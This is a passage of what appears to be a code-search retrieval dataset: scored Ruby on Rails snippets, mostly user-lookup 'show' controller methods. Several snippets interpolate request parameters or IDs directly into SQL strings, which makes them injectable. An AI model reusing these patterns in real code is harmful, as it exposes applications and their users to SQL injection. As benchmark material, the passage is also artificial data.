"text": "def show\n @user=User.find(session[:user_id]) if session[:user_id]\n Sitedatum.first.inc(:truckshow,1)\n @jubao=Jubao.new\n @jubaotype=\"truck\"\n @fromip=request.remote_ip\n @belongid=params[:id]\n @username=@user.name if @user\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @truck }\n end\n end",
"title": ""
},
{
"docid": "2c7823036206b29437e89f49042e0220",
"score": "0.66270375",
"text": "def show_users\n begin\n users = @dbClient.query(\"select username,id from users where id != '#{current_user_id}'\")\n if users.count > 0\n user_choices = {}\n for user in users do\n user_choices[user[\"username\"]] = user[\"id\"]\n end\n transfer_money user_choices\n else\n @prompt.say(\"No accounts found.\")\n end\n rescue => exception\n puts exception\n end\n \n end",
"title": ""
},
{
"docid": "d0490dbc83feb07632e8524f31c68b2c",
"score": "0.6611961",
"text": "def show\n\t@user = User.find(params[:id]) # Search the user which has id = params[:id]\n end",
"title": ""
},
{
"docid": "4bc35bba8df6eba52f2f9020edfb33de",
"score": "0.6580746",
"text": "def show\n #creates a variable for selected user. Used by show html page\n @user = User.find( params[:id])\n end",
"title": ""
},
{
"docid": "20ac25045f3e8deb0296700f995c1195",
"score": "0.6571757",
"text": "def show\n \n if current_user.user_info.gen_member? && current_user.user_info.id != params[:id].to_i\n redirect_to(controller: 'user_infos', action: 'show', id: current_user) \n end\n @user_info = UserInfo.find_by(user: params[:id])\n end",
"title": ""
},
{
"docid": "1949fe3a43bac6dd2c3325d3768b3322",
"score": "0.6533129",
"text": "def show\n\t\tfind_user_by_id params[:id]\n\tend",
"title": ""
},
{
"docid": "0bbc697e20dea5c721f87f4aaa20ced2",
"score": "0.6515962",
"text": "def show\n @users_admin = User.find(params[:user_id])\n end",
"title": ""
},
{
"docid": "d2cd708e1c5b9598dce052ff08fcb261",
"score": "0.65145993",
"text": "def show\n\t\tif signed_granted?(current_user.id, 'usersdefaults','I')\n\t\t\t@function = params[:execfunction]\n\t\t\tif @function == 'borrardivem'\n\t\t\t\t@divem = Usersdivem.where(\"user_id = #{params[:user_id]} AND divem_id = #{params[:divem_id]}\").first\n\t\t\t\t@divem.destroy\n\t\t\telse\n\t\t\t\t@users = User.all\n\t\t\t\t@userconfs = Userconf.all\n\t\t\t\t@usersdefaults = Usersdefault.find(params[:id])\n\t\t\t\t@userstipodocus = Userstipodocu.where(\"user_id=#{@usersdefault.user_id}\")\n\t\t\t\t@tipodocumento_id = @userstipodocus.tipodocumento_id\t\n\t\t\tend\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html # show.html.erb\n\t\t\t\tformat.json { render json: @usersdefaults }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "4e3de6890b3b8f5421e5d60ceb4d45aa",
"score": "0.6481815",
"text": "def show\n id = SecureRandom.uuid.to_s\n user_id = params[:id]\n\n user_info = { :id => id, :type => \"show\",\n :user_id => user_id\n }\n\n publish :user, JSON.generate(user_info) \n\n @user, error = get_user(id) \n\n if @user.nil?\n redirect_to \"/users\", notice: \"Error finding this user\" + error\n end\n\n # @user = User.find(params[:id])\n # if session[:user_id] != @user.id\n # redirect_to root_url, notice: \"No way!\"\n # end\n end",
"title": ""
},
{
"docid": "22b3b33d99044fa7a286a5c43ec48300",
"score": "0.64682585",
"text": "def show\n @info = User.find(params[:id])\n #@info = current_user.infos.where(id: params[:id])\n end",
"title": ""
},
{
"docid": "6793c5476ab256881a0da0ff5b613914",
"score": "0.645386",
"text": "def show\n\t@users = User.find(params[:id])\n end",
"title": ""
},
{
"docid": "89c7530bc5b9dcdfd8be6a16d1b360ce",
"score": "0.6444691",
"text": "def showusers\n !params[:id].blank?? session[:company_id] = params[:id] : params[:id] = session[:company_id]\n @companies = Company.company(current_user.company_id)\n if current_user.role?:lawfirm_admin\n params[:id] = current_user.company_id\n end\n if params[:id]\n @company = Company.find(params[:id])\n @users=User.not_client(@company.id)\n end\n end",
"title": ""
},
{
"docid": "c06feb175949845d43adff48f394d233",
"score": "0.64440155",
"text": "def show_usernames\n\t\t@username = Username.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "ea7a4bfaa0492cee36b11f41a9a49c37",
"score": "0.6435255",
"text": "def show\n #Add exception for searching details by id\n begin\n @user = User.find(params[:id])\n @title = @user.name\n rescue ActiveRecord::RecordNotFound\n redirect_to users_index_path, alert: \"User is not existed.\"\n end\n\tend",
"title": ""
},
{
"docid": "89e6c441f9c830973340ff5e92ba1589",
"score": "0.6414244",
"text": "def show\n params[:id].eql?(User::GENERAL) and redirect_to(\"/home/index\", :notice => \"User #{params[:id]} not found\") and return\n \n u = User.where({:username => params[:id]})\n unless u.empty?\n @user = u.first\n else\n redirect_to(\"/home/index\", :notice => \"User #{params[:id]} not found\") and return\n end\n end",
"title": ""
},
{
"docid": "6aa430866db6476d1da4b9dca41c0a52",
"score": "0.6408538",
"text": "def show\n if current_user.acquisition? || current_user.import? \n @especificacion = Specification.where(:id => session[:specification_sel_id]).first \n @user = User.where(:username => @especificacion.user_id).first \n if @user.director? || @user.acquisition? || @user.import? || @user.quality? || @user.manage?\n @mostrar = true\n else\n @mostrar = false\n end\n else\n @mostrar = true\n end\n @acts = Act.find(params[:id])\n \n end",
"title": ""
},
{
"docid": "10ceb06d386e425ca030434ffbbcfd39",
"score": "0.6407842",
"text": "def show\n @usercompany = Usercompany.new\n @usersadministrator = User.where(\"privilegio > 1 and id not in(select user_id from usercompanies where(company_id = #{@company.id}))\").activos.map{ |c| [c.nombre, c.id] }\n @users = User.all.activos.map{ |c| [c.nombre, c.id] }\n @signempresa = Signempresa.new\n end",
"title": ""
},
{
"docid": "cdc645ee50aa3285759ab6a22c4b48f7",
"score": "0.64003396",
"text": "def show\n if params[:id].to_i == current_user.id \n @user = User.find(current_user.id)\n render \"show\" \n else\n render \"error\"\n end\n end",
"title": ""
},
{
"docid": "67b93fc7522908524865447830a56c9b",
"score": "0.640027",
"text": "def show\n @u = User.all\n #shows all user\n \n end",
"title": ""
},
{
"docid": "fe0d6248fc53e0388ea0a8fe3f8bab2a",
"score": "0.64001304",
"text": "def show\n @user = User.find( params[:id] ).decorate\n end",
"title": ""
},
{
"docid": "e7e13fa1d196a9213d3c190e6cf59d20",
"score": "0.6391192",
"text": "def show\r\n \r\n\t# Get all users form databse\r\n @users = User.all\r\n end",
"title": ""
},
{
"docid": "52775feb56958d025a903b97364b509c",
"score": "0.6388937",
"text": "def show\n\n\t\t@user = User.find(params[:id])\n\t\t\t# @user = User.first # TEST - temporary - QQQR\n\n\n \t\t# listing 7.19\n\t\t@title = @user.name \n \n\tend",
"title": ""
},
{
"docid": "d371bf872444705fe4e59eaf579015d8",
"score": "0.6381484",
"text": "def show_user(id)\n get(\"users/#{id}\")\n end",
"title": ""
},
{
"docid": "13b82541a0e55fc0c3c0f4bf7be35888",
"score": "0.6374787",
"text": "def show\n @forhire = Forhire.find(params[:id])\n @user = User.where(\"id=#{@forhire.user_id}\").first\n end",
"title": ""
},
{
"docid": "36c7bf5c0cb0fe5ff8679d0108bbcefc",
"score": "0.6356966",
"text": "def user #recupere luser id dans lurl voir la route correspondante method GET\n @user_id = params[:user_id]\n @user = User.find(@user_id) #grace a ce code, jafficherai les informations relatives a cet utilisateur dans une fiche plus facilement. IL me suffira daccoler un point et la colonne contenant la donnee de l'utilsateur que je souhaite affichee pour chaque ligne de la fiche utilisateur que je veux creer dans un view pour que la fiche utilisateur soit realisee.\n\n end",
"title": ""
},
{
"docid": "6eb8c1d80395624bf13929d4fa0800c7",
"score": "0.63543975",
"text": "def show\n # puts(\"bbbbbbbbllllllaaaaaa!!!!!!!!\")\n @user = User.find(params[:id])\n @infos = @user.infos\n end",
"title": ""
},
{
"docid": "f728cf8c654867b0d4fc59512ea7716a",
"score": "0.6348763",
"text": "def show\n \n # if User.exists?(id: params[:id])\n # @users = User.find(params[:id])\n # end\n # @users = @user\n \n \n logger.debug(@user)\n \n \n render :show and return\n end",
"title": ""
},
{
"docid": "9bf04659d79a1b3155d99f5cd75efe7e",
"score": "0.63436365",
"text": "def show\n begin\n @user = Chef::WebUIUser.load(params[:user_id])\n render\n rescue => e\n Chef::Log.error(\"#{e}\\n#{e.backtrace.join(\"\\n\")}\")\n set_user_and_redirect\n end \n end",
"title": ""
},
{
"docid": "6e012814e40d2b0b645011a04d2e21b9",
"score": "0.6341915",
"text": "def show\n # zoznam spolocnosti\n @sros = User.find(session[:user_id]).sros\n end",
"title": ""
},
{
"docid": "48c4cadfbeb2f0a7a89abf83f8b76e77",
"score": "0.6336397",
"text": "def show\n @users = []\n User.all.each do |user|\n if !user.is_admin\n @users << [user.email,user.id]\n end\n end\n @users << [current_user.email,current_user.id]\n\n end",
"title": ""
},
{
"docid": "5fe529e670724fc00840e2a9ffcca1c9",
"score": "0.6329333",
"text": "def show\n\t @userl = User.find_by_username(params[:id]) || User.find_by_id(params[:id])\n\t\t @statuses = Status.find_all_by_author(@userl.username)\n\tend",
"title": ""
},
{
"docid": "b534a5d035cb0d317db0801f3619b301",
"score": "0.6302762",
"text": "def show\n idUser = params[:id]\n result(@usersController.getUserById(idUser))\n end",
"title": ""
},
{
"docid": "df51e7f10a1b52861199eed108e97bc0",
"score": "0.62882316",
"text": "def show\n @user = User.get(params[:id])\n display @user\n end",
"title": ""
},
{
"docid": "08b349728bae69bc45b52f36c2cdbf65",
"score": "0.62859756",
"text": "def show_user(id = nil)\n if id.nil?\n request(ShowOneselfRequest, ShowUserResponse)\n else\n request(ShowUserRequest, ShowUserResponse, :id => id)\n end\n end",
"title": ""
},
{
"docid": "07db811b23a405caed85b2a0f45ee434",
"score": "0.62803143",
"text": "def show\n # Find in the database the user with the id number that matches the URL\n @user = User.find( params[:id] )\n end",
"title": ""
},
{
"docid": "8d2c9e05cbd8b30a2b222de9a16c7d95",
"score": "0.6279278",
"text": "def show\n\t\t@user = buscarUsuario(params[:id])\n\tend",
"title": ""
},
{
"docid": "2aa43cf752ec568fe65ef40839624bef",
"score": "0.62782454",
"text": "def show \n\t\t@user = User.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "9ea4919e8f29372e67283fa117e151ed",
"score": "0.6274089",
"text": "def show\n if check_if_user || check_if_admin\n @users = User.where(id: params[:id])\n else\n respond_to do |format|\n format.html{redirect_to user_home_path, notice: \"Access to requested link is denied\" }\n end\n end\n end",
"title": ""
},
{
"docid": "fcf8096dce188e6930553910f83d8228",
"score": "0.6271916",
"text": "def show\n\t\tid = params[:id]\n\t\tif params[:id].to_s == \"cur\"\n\t\t\tid = current_user.id\n\t\tend\n\t\t@user = User.find(id)\n\tend",
"title": ""
},
{
"docid": "29a28c0b1b6864a4058e3f2335708e11",
"score": "0.6270673",
"text": "def show\n chosen_user\n end",
"title": ""
},
{
"docid": "12cbff930de1368d848ba1290aea048b",
"score": "0.6268777",
"text": "def show\n @user = User.friendly.where('lower(username) = ?', params[:id].downcase).first\n redirect_to nodes_url(@user)\n end",
"title": ""
},
{
"docid": "81a29231e4fbc69b5812e4d1dd694d90",
"score": "0.62654984",
"text": "def show\n\t\t@user = User.find_by(id: params[:id])\n\tend",
"title": ""
},
{
"docid": "9fe390898fbbe89afd810eff0fc1a3ea",
"score": "0.62583506",
"text": "def show\n set_user\n end",
"title": ""
},
{
"docid": "9fe390898fbbe89afd810eff0fc1a3ea",
"score": "0.62583506",
"text": "def show\n set_user\n end",
"title": ""
},
{
"docid": "9fe390898fbbe89afd810eff0fc1a3ea",
"score": "0.62583506",
"text": "def show\n set_user\n end",
"title": ""
},
{
"docid": "9fe390898fbbe89afd810eff0fc1a3ea",
"score": "0.62583506",
"text": "def show\n set_user\n end",
"title": ""
},
{
"docid": "9fe390898fbbe89afd810eff0fc1a3ea",
"score": "0.62583506",
"text": "def show\n set_user\n end",
"title": ""
},
{
"docid": "618aa2112452f886370736b9c8fe5828",
"score": "0.6257546",
"text": "def show\n require_current_user_match params[:id]\n if current_user.admin?\n @new_user = User.new()\n @users = User.all\n end\n end",
"title": ""
},
{
"docid": "5d8b9627fa2f3af9feae6cc9c6cb73f5",
"score": "0.6255395",
"text": "def show\n if User.find(params[:id]).type!=Admin.new.type\n redirect_to current_user\n return\n end\n if(Admin.new.type== current_user.type && params[:id].to_f==current_user.id)\n set_admin\n else\n flash[:danger] = \"Trespassers will be prosecuted!\"\n redirect_to user_path(current_user.id)\n end\n end",
"title": ""
},
{
"docid": "e8bf4445071b319faafab397ed43aba5",
"score": "0.6251607",
"text": "def index\n @idoponts = Idopont.all\n #:user.email = User.find(params[@idopont.user_id]).email\n end",
"title": ""
},
{
"docid": "3fb3f854b4a86d8877536a928082829c",
"score": "0.62498116",
"text": "def show\n @users = User.all\n @event = Event.find(params[:id])\n @is_private = session[:user_id] == @event.creator.id\n mgs1 = 'Unregister From The Event'\n msg2 = 'Join The Event'\n @register_label = User.find(session[:user_id]).attended_events.include?(@event) ? mgs1 : msg2\n @button_class = User.find(session[:user_id]).attended_events.include?(@event) ? 'bg_red w272' : 'bg_green w272'\n end",
"title": ""
},
{
"docid": "130dac6f97a5c9feb1773b81197ae652",
"score": "0.62453026",
"text": "def show\n # Check if it's a numeric string\n if !!(params[:id] =~ /^[0-9]+$/)\n user = User.find_by_id(params[:id])\n if user.nil?\n # No user with that id\n render 'shared/http_status', :locals => {:code => '404', :message =>\n 'No user exists with that id'}, :status => 404\n return\n else\n fields = fields_to_render(@@default_fields)\n\n respond_to do |format|\n format.any{render :xml => user.to_xml(:only => fields, :root => 'users',\n :skip_types => 'true')}\n format.json{render :json => user.to_json(:only => fields)}\n end\n end\n else\n # Invalid params if it wasn't a numeric string\n render 'shared/http_status', :locals => {:code => '422', :message =>\n 'Invalid id'}, :status => 422\n return\n end\n end",
"title": ""
},
{
"docid": "f888fdaea15f9957aff8bef526358b60",
"score": "0.6238382",
"text": "def show\n @user = User.find(params[:id])\n @users = User.all\n end",
"title": ""
},
{
"docid": "fe4c5da65864ece1e9c54d9b2512ac9d",
"score": "0.62377393",
"text": "def show\n @user = User.find(params[:id]) #find the user by the id that's sent in\n end",
"title": ""
},
{
"docid": "002e374c95c828a5da025c811659394e",
"score": "0.62372214",
"text": "def index\n @user = User.find_by(id: session[:user_id])\n @user_tipo =@user.tipo\n @user_name =@user.name\n end",
"title": ""
},
{
"docid": "c36a093c896f0d121580b2cd52ac5208",
"score": "0.62350017",
"text": "def show params \n # Solo se puede mostrar al propio usuario\n @user\n end",
"title": ""
},
{
"docid": "98d677ed56015c20e601c006b6e5bef9",
"score": "0.6232181",
"text": "def show\n @domeniu = Domeniu.find(@tema.domeniu_id)\n @prof = User.find(@domeniu.user_id)\n end",
"title": ""
},
{
"docid": "ca0349df70e39a6568a345a351a255d6",
"score": "0.6231552",
"text": "def view\n user = User.select(:id, :name, :phone).find_by_id(params[:id])\n\n if user.present?\n render_ok({user: user})\n else\n render_error(\"User with id #{params[:id]} isn't registered.\")\n end\n end",
"title": ""
},
{
"docid": "4cba8ca510ff903ba9a11bf78d74ed8b",
"score": "0.62313455",
"text": "def show\n if session[:login_name].to_s != params[:id].to_s\n if @auth != \"admin\"\n redirect_to users_path, notice: \"You cannot perform that action\"\n end\n end\n \t@users = User.all\n \t@friends = Friend.all\n end",
"title": ""
},
{
"docid": "513a6799d94fffc1f42752d9b96710cd",
"score": "0.6231072",
"text": "def show \n usersids = User.getUsersHideThierAccounts\n @hide_account = false\n if usersids.include?(@user.id)\n @hide_account = true\n end\n end",
"title": ""
},
{
"docid": "ee20c3e5531fc1ed8910a4fca4c47f9a",
"score": "0.62309587",
"text": "def show\n @user = User.find(params[:id])\n \n # security check, the requestor has the ID and login \n if params[:login].gsub(/ /,'') != @user.login.gsub(/ /,'')\n \tlog_attack \"Error User show \" + params[:id] + \" : \" + params[:login] + \" - user.login = \" + @user.login \t\n respond_to do |format|\n format.xml { render :xml => errorRsp( \"\" ) }\n end\n \treturn\n end\n \n \n respond_to do |format|\n format.xml { render :xml => @user }\n end\n end",
"title": ""
},
{
"docid": "bdf274a35ee6f52fe09bc37701e8fe68",
"score": "0.6230194",
"text": "def show\n\t\t@user = User.find_by_id(session[:user_id])\n\tend",
"title": ""
},
{
"docid": "c1b9143fbf355ba4f28667427bf171db",
"score": "0.62268823",
"text": "def show\n @invester = User.find(@loan.user.id)\n end",
"title": ""
},
{
"docid": "f6547517e4183502ff152a2ec8370769",
"score": "0.62264985",
"text": "def index\n @user = User.first\n self.h_show\n render 'show'\n end",
"title": ""
},
{
"docid": "4b39f2dcc02b623a06e437433702aa86",
"score": "0.6223589",
"text": "def print\n \n @user = User.find(params[:id])\n \n render :layout => 'print'\n \n end",
"title": ""
},
{
"docid": "0dee6e713245d7b16ff54db2b8a19440",
"score": "0.6222659",
"text": "def show\n\n @user = User.get(params[:id])\n \n if signed_in? && @user.id == current_user.id\n @menu = \"home\"\n @board = \"user\"\n @section = \"show\"\n \n render 'user'\n else\n redirect_to '/'\n end\n end",
"title": ""
},
{
"docid": "025a40baeb90ae35066d14484b495c20",
"score": "0.62179905",
"text": "def show\n @user = User.find(params[:id])\n\t@users = User.select(\"id, name\")\n @questions = Question.where(\"user_id =?\", @user.id ).all\n @answers = Answer.where(\"user_id =?\", @user.id ).all\n @qtexts = Question.select(\"id,text\")\n\t@title = @user.name\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end",
"title": ""
},
{
"docid": "413823b3fa1fd26cd58ff9a3478d6c2e",
"score": "0.621305",
"text": "def show\n @user = User.where(:username => params[:id]).first\n end",
"title": ""
},
{
"docid": "bb0ee7a57e27ec2ef58360d4cf5f4233",
"score": "0.6211494",
"text": "def show\n @gossip = Gossip.find(params[:id])\n @users = User.all\n \t\n \tend",
"title": ""
},
{
"docid": "bfd88fb1796eaf7ab04cd5d2785f161e",
"score": "0.6205726",
"text": "def show\n # Exibe detalhes do usuário informado\n \tuser = User.find(params[:id])\n \trender json: user, status: 200\n end",
"title": ""
},
{
"docid": "7bcb413eeeb63f12780e57a78953ace0",
"score": "0.6202142",
"text": "def show\n @user = User.find(params[:id] ? params[:id] : current_user.id)\n\n @users = User.all\n @links_title = \"Další uživatelé\"\n @links = []\n for user in @users\n if (user != @user)\n @links.push([user.username, user_path(user)])\n end\n end\n end",
"title": ""
},
{
"docid": "304b8d206b7bc95d128b5b34744e535d",
"score": "0.61980814",
"text": "def show\n @users = User.find(params[:id])\n end",
"title": ""
},
{
"docid": "9396b9d5515b6bd13e631354a168c7f7",
"score": "0.6197457",
"text": "def show\n @user = User.find(params[:id])\n # debugger #return nill va co the debug luon o day , debug truc tieo\n end",
"title": ""
},
{
"docid": "d6f0a8b7e9a086fe8631b53006e455ca",
"score": "0.6197088",
"text": "def show\n @current_user=User.find(session[:user_id])\n puts \"this is id #{@user.id}\"\n end",
"title": ""
},
{
"docid": "c34e615d6a32f44dbf9cb705de307753",
"score": "0.61936826",
"text": "def show\n @users = @metting.users\n end",
"title": ""
},
{
"docid": "c0b2cc4916f4167a49488648eb400ecd",
"score": "0.61928177",
"text": "def show\n\t\t# @user = User.find_by(id: params[:id])\n\t\t@user = current_user\n\n\tend",
"title": ""
},
{
"docid": "b3797f539fcd3f1d294930dd63d0256b",
"score": "0.61922455",
"text": "def showUser\n\n url = 'http://fh.thomassennekamp.de/server/AllUsers'\n request = RestClient.put(url, {:identity => '' }.to_json, :content_type => :json, :accept => :json )\n response = JSON.parse request\n\n @output=(response['users'])\n\n end",
"title": ""
},
{
"docid": "10e861eb33d10f6c82d161dc27b9f552",
"score": "0.6190865",
"text": "def show\n @usuario = Usuario.find(params[:id])\n if @usuario.tipo_usuario == 1\n @medico = Medico.find_by_usuario_id(@usuario.id)\n end\n\n if @usuario.tipo_usuario == 2\n @centro_salud = CentroSalud.find_by_usuario_id(@usuario.id)\n end\n end",
"title": ""
},
{
"docid": "eff93bc2ae41d8348f99231c51cbc958",
"score": "0.6185623",
"text": "def show\n @tilte = \"Show user account\"\n @user = User.find(params[:id])\n \n unless @user.userrights.any?\n flash.now[:notice] = \"No user right has been asigned yet.\"\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"title": ""
},
{
"docid": "6f69624d2e5b6d4a186fed3ea5f3d9a9",
"score": "0.61801517",
"text": "def show\n if params[:id].nil?\n redirect_to invalid_entry_index_path, notice:\"Invalid History\"\n end\n @numWriters=UserOppty.where(oppty_id: params[:id]).joins(:user).where('users.role'=>'Writer').count\n end",
"title": ""
},
{
"docid": "a174777f1126cf51a8dd8a1fa00a01d7",
"score": "0.61790264",
"text": "def show\n\t\t@user = User.find(params[:id])\n\t\t@show_delete_tag_buttons = true\n\tend",
"title": ""
},
{
"docid": "90ec148c3c0ae73e199576d3ae7e8b2f",
"score": "0.61772764",
"text": "def show\n \t@user = User.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "92bf536206aecb9efb7502761cb0b7e7",
"score": "0.6175955",
"text": "def index\n @user_info = UserInfo.find_by_id(params[:id])\n end",
"title": ""
},
{
"docid": "99d0735da162b7d17ce023c3b8f9092d",
"score": "0.6172196",
"text": "def user_index\n # visualizza la pagina iniziale degli utenti ordinari.\n \n # visualizza la bacheca dell'utente ordinario.\n render 'users/notice_board'\n end",
"title": ""
},
{
"docid": "bdf2a192d7470af7aa438bbba1fee51f",
"score": "0.6168004",
"text": "def show\n #TODO correct_user()\n end",
"title": ""
},
{
"docid": "793df971ed893aa15c3f3854394c0710",
"score": "0.61678153",
"text": "def show #function/method show\n @user = User.find(params[:id]) #@user is an instance variable. Automatically available in views. We create the current insance of the user by looking up the users parameters based on their ID. This is identical to User.find(1) for user(1).\n end",
"title": ""
},
{
"docid": "ad9396823b0a06874e6246519d4ac4f6",
"score": "0.61660665",
"text": "def show\n redirect_to '/users/'+current_user.id.to_s+'/mensajes/'+Mensaje.find(params[:id]).id.to_s+'/edit'\n end",
"title": ""
},
{
"docid": "d028b481a0fa86e2abfbc84d1bb6e170",
"score": "0.6165852",
"text": "def show\n if Spree::User.exists?(params[:id])\n @User = Spree::User.find(params[:id])\n else\n @user_not_found = {\"statusCode\" => \"404\",\"statusText\" => \"user not found\"}\n end\n logger.debug \" Mudassir \"\n end",
"title": ""
},
{
"docid": "b97fb7d72b3fdde60af64bf68520c2d3",
"score": "0.6165353",
"text": "def show\n \t@user = User.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "8e96800c06dfd6ed69aeff44dbbfca42",
"score": "0.616322",
"text": "def show\n redirect_to useradmin_members_path(params[:id])\n user_action_log(params[:id],params[:controller],\"show\")\n end",
"title": ""
},
{
"docid": "fe3ae1b1dbe6cb06b6258ee92b89ccb7",
"score": "0.6161165",
"text": "def show\n @user=User.find_by_user_id(@item.user_id)\n end",
"title": ""
},
{
"docid": "e3e3cd40e22bfa1ff2b805ddab127505",
"score": "0.61583775",
"text": "def show\n @user = @user || User.where(id: params[:id]).first\n end",
"title": ""
},
{
"docid": "f013cfa2cbfdb0b4c5b427cf847f95ee",
"score": "0.6153982",
"text": "def show\n @gossip=Gossip.find(params[:id])\n @user= @gossip.user(params[:username])\n end",
"title": ""
},
{
"docid": "591bcf18ce3a4bd388263caab19eb522",
"score": "0.6150255",
"text": "def show\n\t\t@user = User.find(params[:id])\n\t\t\n\tend",
"title": ""
},
{
"docid": "97b34e8d1069378acfe62069830471fa",
"score": "0.61482173",
"text": "def show\n \t@user = User.find(params[:id])\n end",
"title": ""
},
{
"docid": "cf1fe62927f628e783a5bdb67cde7b90",
"score": "0.6146105",
"text": "def show\n user = current_user;\n\n if (!is_integer(params[:id]))\n render_error(404)\n elsif (\n user == nil ||\n (user.id != params[:id].to_i && user.username != \"john cena\")\n )\n render_error(403)\n else\n @user = User.find(params[:id])\n @ext = User.find(params[:id])\n @moods = Mood.select(\"*\").where(:userid => Integer(params[:id]))\n\n end\n\n end",
"title": ""
},
{
"docid": "f9da619f4e1889d0969f49afb0bba5e9",
"score": "0.61459816",
"text": "def show\n\t\t@user = User.find(params[:id])\n\t\tif !@currentuser.administrator and @user.id != @currentuser.id\n \t@user = nil\n\t\tend\n\t\t\n respond_to do |format|\n format.html {\n\t\t\t\tif @user == nil\n\t\t\t\t\tredirect_to :action => \"index\"\n\t\t\t\tend\n\t\t\t}\n format.xml {\n\t\t\t\trender :xml => @user\n\t\t\t}\n end\n end",
"title": ""
},
{
"docid": "2637a8f6855e951e13dba4a40fad0482",
"score": "0.6144432",
"text": "def show\n @sesh = User.find(session[:id])\n @user = User.find(params[:id])\n if @user.id != @sesh.id\n session[:id] = nil\n redirect_to '/'\n end\n end",
"title": ""
},
{
"docid": "9248953a6b2cce842ec8fb9cd8c4ac50",
"score": "0.6144158",
"text": "def show\n\t\t@users = User.all\n\tend",
"title": ""
}
] |
4b16acb099a2f458e8e22c8fb054df10 | For items for which the ArchivesSpace top container no longer exists due to reprocessing | [
{
"docid": "d70b7ec5b79b6cfef5dfb8cfbaca2fd7",
"score": "0.5593643",
"text": "def mark_as_obsolete\n replacement_items = []\n\n item_orders.each do |io|\n return_items = io.update_archivesspace_item\n replacement_items += return_items\n end\n\n eligible_for_obsolete = !replacement_items.include?(self)\n puts eligible_for_obsolete ? \"Item is eligible to be made obsolete\" :\n \"Item is NOT eligible to be made obsolete\"\n\n if eligible_for_obsolete\n update_columns(current_location_id: nil, permanent_location_id: nil, obsolete: true)\n item_orders.each do |io|\n io.update_columns(archivesspace_uri: nil, active: false)\n end\n update_index\n else\n raise CircaExceptions::BadRequest,\n \"The item could not be marked as obsolete because one or more of the\n ArchivesSpace URIs associated with it still return a record with\n container information matching that of the item.\"\n end\n end",
"title": ""
}
] | [
{
"docid": "7a9744ec298c10a4a0e47e7f25cb4799",
"score": "0.57791424",
"text": "def unprocessed_items\n operations\n end",
"title": ""
},
{
"docid": "feab86ffab4eb54c62aaf796e8341dbc",
"score": "0.57141316",
"text": "def reindex_top_containers_by_any_means_necessary(extra_ids)\n # Find any relationships between a top container and any instance within the current tree.\n root_record = if self.class == ArchivalObject\n self.class.root_model[self.root_record_id]\n else\n self\n end\n tree_object_graph = root_record.object_graph\n top_container_link_rlshp = SubContainer.find_relationship(:top_container_link)\n relationship_ids = tree_object_graph.ids_for(top_container_link_rlshp)\n\n # Update the mtimes of each top container\n DB.open do |db|\n top_container_ids = db[:top_container_link_rlshp].filter(:id => relationship_ids).map(:top_container_id)\n top_container_ids.concat(extra_ids)\n TopContainer.filter(:id => top_container_ids).update(:system_mtime => Time.now)\n end\n end",
"title": ""
},
{
"docid": "8cd8e64fd2efe10e89c88900103f18ab",
"score": "0.56720525",
"text": "def mark_as_obsolete\n replacement_items = []\n\n item_orders.each do |io|\n return_items = io.update_archivesspace_item\n replacement_items += return_items\n end\n\n eligible_for_obsolete = !replacement_items.include?(self)\n puts eligible_for_obsolete ? \"Item is eligible to be made obsolete\" : \"Item is NOT eligible to be made obsolete\"\n\n if eligible_for_obsolete\n update_columns(current_location_id: nil, permanent_location_id: nil, obsolete: true)\n item_orders.each do |io|\n io.update_columns(archivesspace_uri: nil, active: false)\n end\n update_index\n else\n raise CircaExceptions::BadRequest,\n \"The item could not be marked as obsolete because one or more of the ArchivesSpace URIs\n associated with it still return a record with container information matching that of the item.\"\n end\n end",
"title": ""
},
{
"docid": "478ca7c1defd7c2897fa88c825a57a36",
"score": "0.5582137",
"text": "def reallocate_items\n\t\tif self.is_root?\n\t\t\tf = Folder.find_or_create_by(name: \"Orphelins\")\n\t\t\tself.items.update_all(folder_id: f.id)\n\t\telse\n\t\t\tself.items.update_all(folder_id: self.root.id)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b19f030cece374c5a9658658389f518d",
"score": "0.55504245",
"text": "def merge_items item_already_there\n # then merge the item quantities\n item_already_there[:quantity] += state.held_item[:quantity]\n \n # remove the item being held from the items collection (since it's quantity is now 0)\n state.items.reject! { |i| i[:location] == :held }\n\n # nil out the held_item so a new item can be picked up\n state.held_item = nil\n end",
"title": ""
},
{
"docid": "078568f3287059917eb9ef1e5ebc02c9",
"score": "0.5490403",
"text": "def prune_archive\n end",
"title": ""
},
{
"docid": "01f78a352e9809ec3435053fcf6cdddd",
"score": "0.54653335",
"text": "def prune_universe(items)\n end",
"title": ""
},
{
"docid": "abbc37da7964c2bc0c672f373b9625c3",
"score": "0.5464367",
"text": "def after_unarchive_card\n if should_update_parent_collection_cover?\n # regenerate parent collection cover if archived card was relevant\n parent.cache_cover!\n else\n # touch parent to bust cache\n parent.touch\n end\n parent.reorder_cards!\n end",
"title": ""
},
{
"docid": "598adb5e442722835af0041ae20131e7",
"score": "0.5422456",
"text": "def reprocess_child_items!\n self.child_items.delete_all\n create_child_items\n end",
"title": ""
},
{
"docid": "f43b4b871340339f4af0826aa522d37f",
"score": "0.5412739",
"text": "def update_news_items\n # Destroy old items\n news_items.delete(news_items.all(include: :node, conditions: ['nodes.publication_start_date < ?', (Settler['news_viewer_time_period'] ? Settler['news_viewer_time_period'].to_i : 2).weeks.ago]))\n # Add any news items from the archives\n news_archives.each { |news_archive| news_archive.news_items.newest.each { |item| self.news_items << item rescue nil } }\n end",
"title": ""
},
{
"docid": "ea831880d93691b7dca7c1db2d875772",
"score": "0.54102486",
"text": "def find_recent_news_items\n @news_items = @news_archive.news_items.accessible.includes(:node).page(1).per(25)\n @news_items_for_table = @news_items.to_a\n @latest_news_items = @news_items_for_table[0..7]\n @news_items_for_table -= @latest_news_items\n end",
"title": ""
},
{
"docid": "a3f8829ea169bae50d4cb69485ce1190",
"score": "0.5357112",
"text": "def item_became\n @item_became ||= @version.next.present? ? @version.next.reify(dup: true) : @item\n end",
"title": ""
